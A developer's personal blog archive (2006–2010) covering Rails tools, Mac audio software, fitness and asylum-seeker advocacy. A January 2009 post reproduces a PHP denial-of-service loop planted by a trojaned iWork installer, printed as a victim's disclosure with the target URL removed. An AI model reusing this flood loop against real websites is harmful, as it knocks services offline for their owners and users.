January 25, 2010
A friend of mine is tackling his first serious Rails project, and asked me what gems or plugins I'd recommend.
I sat down to list out the gems I use regularly, and realised that the list was longer than I thought it would be, and that there were quite a few that I consider essential to any Rails project I start.
Read more…
January 12, 2010
Maybe I'm the last web dev in the world to find this out, but I recently discovered that the new developer tools in IE8 let you switch it into IE7 rendering mode. Very handy!
I made a screencast to show you how.
Read more…
January 7, 2010
Forms seem particularly fiddly when it comes to getting layout working across browsers. The different default padding and border widths on text fields and text areas often throw things out.
I did a little survey of the combined padding and border thicknesses on various browsers, so that I can get this right without lots of cross-browser testing and associated tearing out of hair.
Read more…
January 5, 2010
Over at Talking Points Memo, the editor is hiring a publisher (via The Awl.)
Meanwhile, services like CDBaby make it possible for musicians to record and publish their own music, rather than relying on record labels.
There’s a pattern here: the internet makes production and distribution much cheaper, and that leads to a power shift.
When physical production and distribution were the dominant costs, it was the producers who controlled the business. Now that those costs are shrinking or even disappearing, control needn’t be in the producers' hands.
The moral of the story? If you’re a writer or a musician, think carefully before putting a publisher in charge of your work. Ask yourself what it is they do for the (usually very large) cut that they take.
September 6, 2009
SimpleSynth now supports Snow Leopard. You can find out more, or just download it.
Big thanks to Steven Palm for doing most of the work on this release.
SimpleSynth 1.1 should work on everything from OS X 10.4 up, on Intel and PPC. If you’re using something earlier than 10.6 and have problems, please let me know.
June 3, 2009
Machinist 1.0 is now available on GitHub!
The major feature is DataMapper support. Big thanks to Daniel Neighman for his help with this.
Update: I wrote up a simple example of how Machinist intelligently handles associations in DataMapper and ActiveRecord.
You can also now blueprint plain old Ruby objects.
It’s easy to add support for other ORM layers. If you’re keen, take a look at lib/machinist/active_record.rb for a comprehensive example of how it’s done.
Read more…
May 8, 2009
On April 25, the Lady Sandra, an oil rig support ship off Cairns, helped rescue 60 Afghan asylum seekers who arrived in an unseaworthy boat. The Lady Sandra’s skipper, exposed to the human side of the issue for the first time, immediately changed his views on boat people. He talks about it eloquently in an article from the Cairns Post.
Our policy of locking away asylum seekers means it’s easy not to think of them as individuals. As a group, they’re often portrayed as a threat, or as greedy people wanting to sneak into the country and take our jobs, or somehow undermine our way of life.
Think about this: What would it take to make you give up all your possessions, leave behind your home, your friends, your family? What would it take to make you risk your life by getting on a crowded, leaky boat, and try to sail half way around the world?
Would you do it because you wanted a holiday? Would you do it just because you felt you could make more money in another country? Would you do it if you were a terrorist wanting to attack a country?
No. You'd do it because you felt it was the only alternative. You'd do it because you were desperate, because you feared for your freedom, or your life.
The vast majority of asylum seekers are people just like us, trying to escape horrendous circumstances. I wish Australia’s treatment of them reflected the compassion I feel when I think about that.
May 3, 2009
More cool developments in personal fabrication: the RepRap prints its first circuit board, and some very clever folks have worked out how to make a 3D printer print in stone.
April 3, 2009
Last weekend, I gave a talk about personal fabrication at Trampoline. For anybody who was paying attention, here are links to some of the bits and pieces I covered:
- Thru-You is Kutiman’s excellent YouTube music mashup.
- Stan Swan uses woks to extend wifi range.
- The Google Lunar X Prize is offering $30 million to the first privately funded team to land a rover on the moon, drive it 500m, and send back pictures.
- Neil Gershenfeld is behind Fab Labs, MIT’s effort to let anybody build anything. He gave a good TED talk about it.
- The RepRap is an open-source 3D printer that can print 60% of its own parts.
- Polycaprolactone is the funky plastic that becomes mouldable in hot water. The RepRap can print with it.
- The anecdote about the kid looking for the mouse comes from a fabulous Clay Shirky talk: part 1 and part 2.
February 5, 2009
Machinist, my test-data generation plugin for Rails, has just gained some features that make it useful for controller tests. You can now do things like:
test "should create post" do
assert_difference('Post.count') do
post :create, :post => Post.plan
end
assert_redirected_to post_path(assigns(:post))
end
You an also call plan on ActiveRecord associations, making it easy to test nested controllers:
test "should create comment" do
post = Post.make
assert_difference('Comment.count') do
post :create, :post_id => post.id, :comment => post.comments.plan
end
assert_redirected_to post_comment_path(post, assigns(:comment))
end
February 2, 2009
If you’re really unfit, getting fit is hard.
In the past year I've gone from not being able to run a kilometre, to running the 21km of a half-marathon (albeit pretty slowly). I can vouch for how hard it is.
There’s a ton of fitness advice out there, to the point that it’s totally overwhelming.
I'm going to give you the one bit of advice I wish I'd had when I was starting out. Here’s your new mantra:
3 times a week
Let me explain…
Read more…
January 23, 2009
The other day, I posted about how I was silly enough to install, on my poor, beleaguered MacBook Pro, some untrusted software containing a trojan.
Brian Krebs was kind enough to further highlight my idiocy in the Washington Post.
I don’t mind being the cautionary tale here. I know my computer security well. Hell, for a while I led the tech team for a company that builds DDoS defense systems! If anyone should have known how to avoid this mess, I should have.
The obvious lesson is: constant vigilance! Knowing your security does not automatically make you safe. Having a Mac does not automatically make you safe.
The companies that make Mac virus protection software are having fun with this of course, but I still don’t think virus protection software is needed on a Mac. My trojan didn’t get in through an email or a malicious web page; it got in through my stupidity.
I am, however, now running Little Snitch, which at least would have let me know a bit earlier that I had a problem. It’s a bit intrusive, so I'm not sure if I’ll have the patience to keep using it.
January 16, 2009
This morning I found a bunch of these processes chewing 100% CPU on my laptop (OS X 10.5.6):
php -r while(1){
$mh = curl_multi_init(); $ch = array();
for($i = 0; $i < 100; $i++){
^I$ch[$i] = curl_init(); ^Icurl_setopt($ch[$i], CURLOPT_URL, "http://...");
^Icurl_setopt($ch[$i], CURLOPT_HEADER, 0);
^Icurl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, true);
^Icurl_multi_add_handle($mh, $ch[$i]);
}
do{ ^Icurl_multi_exec($mh, $running); }
while($running > 0);
for($i = 0; $i < 100; $i++){ ^Icurl_multi_remove_handle($mh, $ch[$i]); }
curl_multi_close($mh);
}
That’s a PHP script, running as root, and DoSing a website. (I've taken out the website URL, but it is one that has recently been under a documented DDoS attack.)
I'm still trying to work out how these got fired up. My machine was otherwise idle at the time they started. Unfortunately I didn’t capture the PPID, so I'm not sure what kicked them off.
If you see something similar, use ps -Alww to capture as much info about them as you can, and see if you can work out what triggered them.
Update: And, thanks to Nathan de Vries, I know what triggered it.
root 94427 0.0 0.0 599816 172 ?? S 9Jan09 0:00.02
/Users/pete/Downloads/iWork.09/iWork09Trial.mpkg/Contents/
Packages/iWorkServices.pkg/Contents/Resources/iworkservices
My copy of the iWork 09 trial installer contained a trojan.
This copy was passed to me through multiple hands. If I'd done the smart thing, and got my copy straight from Apple, I wouldn’t have had this problem.
At least I know it’s not a remote exploit! I'm still contemplating formatting and reinstalling. Who knows what else might be floating around?
October 3, 2008
Update: Added a reference to Eric Chapweske’s blog post about the problem. Thanks to James Healy for the link.
It’s common, in Rails controllers, to create and update models straight from the params hash:
@project = Project.new(params[:project])
ActiveRecord models default to having all attributes assignable this way. As a result, unless you’re very careful with attr_protected and attr_accessible, there’s a good chance your app has security holes.
Eric Chapweske has found that several popular, open-source Rails app have holes related to this problem.
ActiveSupport’s slice method to the rescue!
@project = Project.new(params[:project].slice(:name, :start_date))
What’s it do? From the documentation:
Returns a new hash with only the given keys.
July 25, 2008
Stop, for a moment, and contemplate the sheer number and variety of inputs and outputs on an iPhone.
Read more…
July 24, 2008
At Alien Camel, we've always run our Rails projects from
a central Subversion repository. We've recently become
Git converts, and love its
distributed development capabilities, but the centralised repository model suits
Rails deployment and we want to stick with it.
There’s plenty of documentation out there on how to convert a Subversion repo
to Git, and there’s some stuff on setting up a shared Git repo, but its not
obvious how to combine the two.
We've worked out how to do it, and successfully converted a couple of projects.
This is our recipe.
Read more…
July 13, 2008
After doing some hacking on Prototype yesterday (to fix a Rails issue that’s been bugging me for ages — I’ll post more about that soon), I got to wondering if there might be a nicer way to run JavaScript tests from Rails.
A little research and some tinkering produced this:
#!/usr/bin/ruby
require 'osx/cocoa'
OSX.require_framework 'WebKit'
web_view = OSX::WebView.alloc.init
script_object = web_view.windowScriptObject
p script_object.evaluateWebScript("14 * Math.sin(0.3)").to_f
Seems like a good starting point for something, although exception handling is a problem.
May 31, 2008
I've finally, finally, finally done a tentative release of MIDI Patchbay that’s built for Intel.

It’s missing the old documentation, but I’ll sort that out once a few people have tested this release and confirmed that it works.
April 20, 2008
I'm going to run the Melbourne half-marathon on October 12 to raise money for the Asylum Seeker Resource Centre.
Imagine fearing for your life so much that you leave behind your home, your possessions, your friends, even your family. Then imagine escaping to Australia and being locked up indefinitely, or living here but being unable to feed yourself because you’re denied the right to work, receive unemployment benefits or health care. This is the reality for many asylum seekers in Australia today.
The ASRC is one of the few places that asylum seekers can turn for food, health care, legal aid, and a host of other services. They achieve amazing things on a shoe-string budget thanks to the work of 400+ dedicated volunteers.
So sponsoring me means that you’re helping asylum seekers, who've already suffered horrible things in their home countries, be treated humanely and given a fair go here.
You can sponsor me in any way you like:
- A fixed amount for giving it a go
- A fixed amount for finishing
- Per kilometre
- Per kilometre run (so I can’t wimp out and walk)
- Any weird combination of the above you can think of
A half-marathon is 21km, and I can only run about 5km at the moment, which means I'm in for a lot of pain between now and October. There’s your second good cause: causing me pain. If you can’t get behind asylum seekers, get behind that!
You’re also welcome to join the team and run yourself, either for sponsorship or just for fun.
Post a comment here, or send me an email if you’re interested, or if you have any questions.
Update: The ASRC is a registered charity, so your sponsorship is tax deductible. Just let me know if you need a tax receipt.
March 9, 2008
I've released a little plugin that lets you monkey around with the value returned by Time.now in your tests, so that you can easily test time-dependent code. This is something I use in just about every app I build, so I figured it was about time I cleaned it up and made it public.
More details and installation instructions are here.
March 8, 2008
If you’re a developer outside the U.S., and you build an app with the iPhone SDK, you can’t test it on your own iPhone or iPod Touch.
Yep, you heard right. Only U.S. developers can actually run iPhone apps that they've built.
To be able to install your app on your iPhone or iPod touch, you have to sign up to the U.S. only developer program. The only clue as to when they’re going to open it up to the rest of the world is some fine print that says: “The iPhone Developer Program will initially be available to a limited number of developers in the U.S. and will expand to other countries in the coming months.”
I can understand that Apple isn’t ready for overseas developers to distribute their apps through iTunes; there are plenty of infrastructure and legal things to sort out there. What I can’t understand is why on earth I'm not even allowed to start building and testing an app!
I've complained to Apple about this, and if you’re thinking about doing iPhone development, you should too.
At least I didn’t pre-order an iPod Touch in preparation for the SDK release, like a couple of people I know.
February 28, 2008
Here's a nifty solution that I came up with for implementing the "remember me" checkbox on login forms in Rails.
Read more…
February 7, 2008
Four years since the last release, and somebody had to go and find a bug, so here it is: SimpleSynth 1.0.
February 5, 2008
I've finally done a proper release of Not A Mock, my mocking and stubbing framework for RSpec. Check out the web page for all the info, and a good example showing why it’s better than old-fashioned mocking/stubbing frameworks.
I talked about this at a Melbourne Ruby Group night last year and got lots of interest, and I got a release out that a few people have played with, but I never really pushed it. Now there’s a cleaner implementation, better documentation, and a bunch of fixes.
February 3, 2008
Why? I spend way too much of my time tinkering with HTML and CSS. (Damn you, IE! Damn you to hell!) Having to do the same for my own web site was putting me off. Hopefully this super-simple version means that I will update it more often.
November 12, 2007
MacPorts makes it simple and easy to install the latest versions of all the tools you need for Rails development. It conveniently keeps them separate from the ones that come with OS X, so things that depend on the OS X versions won’t break, and you can remove them again anytime you like. This guide will walk you through the installation process.
Read more…
October 15, 2007
In 2004, I took a trip to Tasmania, partly to form my own opinion about the logging of native forests there.
There’s a tourist road which runs in a big loop off the highway. It’s a nice drive through some beautiful forest, and it takes you to a reserve where you can see some of the biggest trees remaining in the state. Many of the trees here, and throughout Tasmania’s forests, are hundreds of years old.

The catch is that one end of the loop is closed off, so once you've reached the reserve, you need to turn around to get back to the highway. This, of course, is what most tourists do.
Read more…
August 28, 2007
I thought I'd try out webmenu. It all looked shiny and new, with big letters and red stripes. I eagerly clicked the “What type of cuisine?” popup, and, on a whim, picked Hungarian. What delights awaited me behind the search button?

Grrr. When will interface designers learn? Never make me do a search to find out there are no results.
June 16, 2007
Check out my shiny new tumblog! I've added a link to it in the sidebar as well.
The theory goes that I’ll post links to generally cool and interesting things on the tumblog, and I’ll save this blog for stuff I'm doing or building.
Hmm…better start doing and building things.
June 9, 2007
The server that hosts this site is playing up, so it’ll be up and down for a while. We’re working on it.
March 15, 2007
The Asylum Seeker Resource Centre, where I do occasional volunteer work, is moving into a new building.
I'm looking for anyone who knows about wiring up offices for network and phones, and can give me an estimate of costs. If you know anyone, or know anyone who knows anyone, please refer them to me.
The building has lots of existing network points, but the cabling running to what must have been the patch panel has all been chopped off at the wall. I'm not sure if we can salvage it, give it’s two feet short and unlabelled.
It’s three floors, and we’re going to have about 80 machines to start with, so it’s a biggish setup. The deadline for the move is June 4.
Please help!
January 10, 2007
There’s a great talk from Scott Kriens, CEO of Juniper Networks, in the Entrepreneurial Thought Leaders series of podcasts. This is good listening for anyone running a company, big or small. He’s a very clear and down to earth thinker.
December 27, 2006

I finally got around to uploading some of the better photos from my trip to Kangaroo Island in November. It was a spectacular week, and really left me wondering what on earth I'm doing living in the city.
The highlight was a weekend spent at the Pelican Lagoon Research & Wildlife Centre. Peggy and Mike, the resident researchers, are the most lovely people you could hope to meet, as were all the others taking part in the weekend with us. I now know how to radio track echidnas through the bush, and we had the incredible experience of cutting open a termite mound to catch the recently hatched goannas living inside for weighing and measuring. I can’t wait to go back.
December 18, 2006
The Ruby Quiz a little while ago was all about turtle graphics. You remember turtle graphics from school, right? Logo? Forward 20, Right 90, etc?
It turns out its pretty trivial to implement all the basic turtle graphics operations in Ruby. My crack at it came out to about 130 judiciously commented lines. The folks at Ruby Quiz were kind enough to use mine as their example solution, so you can check out the question and my solution here.
This got me thinking. Why can’t I have an interactive turtle, just like I could in Logo? So a bit of tinkering with RubyCocoa, and about 30 more lines of code and:

Type some Ruby into the box, hit the Process button, and the program executes the Ruby in the context of the Turtle object exactly as defined in the quiz.
This is a great demonstration of the powerful idea that, if you write a program in a scripting language, then having it scriptable to the lowest level is simple.
Now, to start working on the next stage of the project. Stay tuned…
December 18, 2006
Episode 2 of Craig Ambrose’s podcast series on freelancing is excellent, and relevant to those outside the Rails crowd too. Highly recommended listening.
In it he talks about how to build good work habits without the routine of an office. I've learnt a lot of the lessons in there the hard way, and am still learning some.
I find it very hard to build good habits, simply because I'm easily sidetracked. For example, I'm currently trying to get back into regular exercise again, but I can easily get to the end of the day without even thinking about it.
To help remember, I have Joe’s Goals set as my browser home page. I put things like “Go for a run” or “Start work by 9” in there, and it gives me a nice mental prod every time I open a new browser window. I also get to put nice green ticks in when I do things, and seeing how I'm doing over time is good reinforcement. (I'd prefer gold stars or elephant stamps, but nothing’s perfect.)
Finally, my favourite quote from Craig’s podcast:
“Even if you’re crippled, at least you can still code.”
Priceless advice.
December 9, 2006

So my buddy Cris, in what must have been an extremely bored moment, took the Danger Mouse logo I was using as an instant messaging icon, and turned it into a Pete Mouse logo. My life is now complete.
December 9, 2006
I finally got around to porting my blog code over from Alien Camel. Now I just have to write something…